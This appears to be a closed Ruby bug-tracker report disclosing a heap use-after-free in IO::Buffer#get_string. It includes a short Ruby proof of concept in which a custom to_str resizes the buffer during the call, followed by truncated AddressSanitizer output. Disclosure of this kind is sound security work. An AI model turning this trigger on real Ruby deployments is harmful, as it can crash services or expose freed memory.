Project

General

Profile

Actions
Copy link

Bug #22336

closed

IO:Buffer Heap uaf

Bug #22336: IO:Buffer Heap uaf

Added by danielchong (Daniel Chong) 2 days ago. Updated about 11 hours ago.

Status:
Closed
Assignee:
-
Target version:
-
ruby -v:
4.1.0-dev
Backport:
3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED
[ruby-core:126782]

Description

Hello, a UAF is possible in IO:Buffer.

PoC:

$buf = IO::Buffer.new(64)  
evil = Object.new
def evil.to_str
  $buf.resize(64 * 1024 * 1024) 
  "UTF-8"
end
$buf.get_string(0, 32, evil)

ASAN (truncated):

ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32
    #3 str_enc_new string.c:1109
    #4 io_buffer_get_string io_buffer.c:3276           <- USE (read from stale base)
freed by thread T0 here:
    #0 realloc
    #1 rb_io_buffer_resize io_buffer.c:2203            <- FREE (realloc move)
    #2 io_buffer_resize io_buffer.c:2249
    ...
    #16 rb_str_to_str string.c:1818
    #18 name_for_encoding encoding.c:296
    #20 rb_find_encoding encoding.c:345
    #21 io_buffer_get_string io_buffer.c:3266          <- reentrancy boundary (encoding to_str)
previously allocated by thread T0 here:
    #0 calloc
    #1 io_buffer_initialize io_buffer.c:216            <- original 64-byte INTERNAL buffer
Actions
Copy link

Also available in: PDF Atom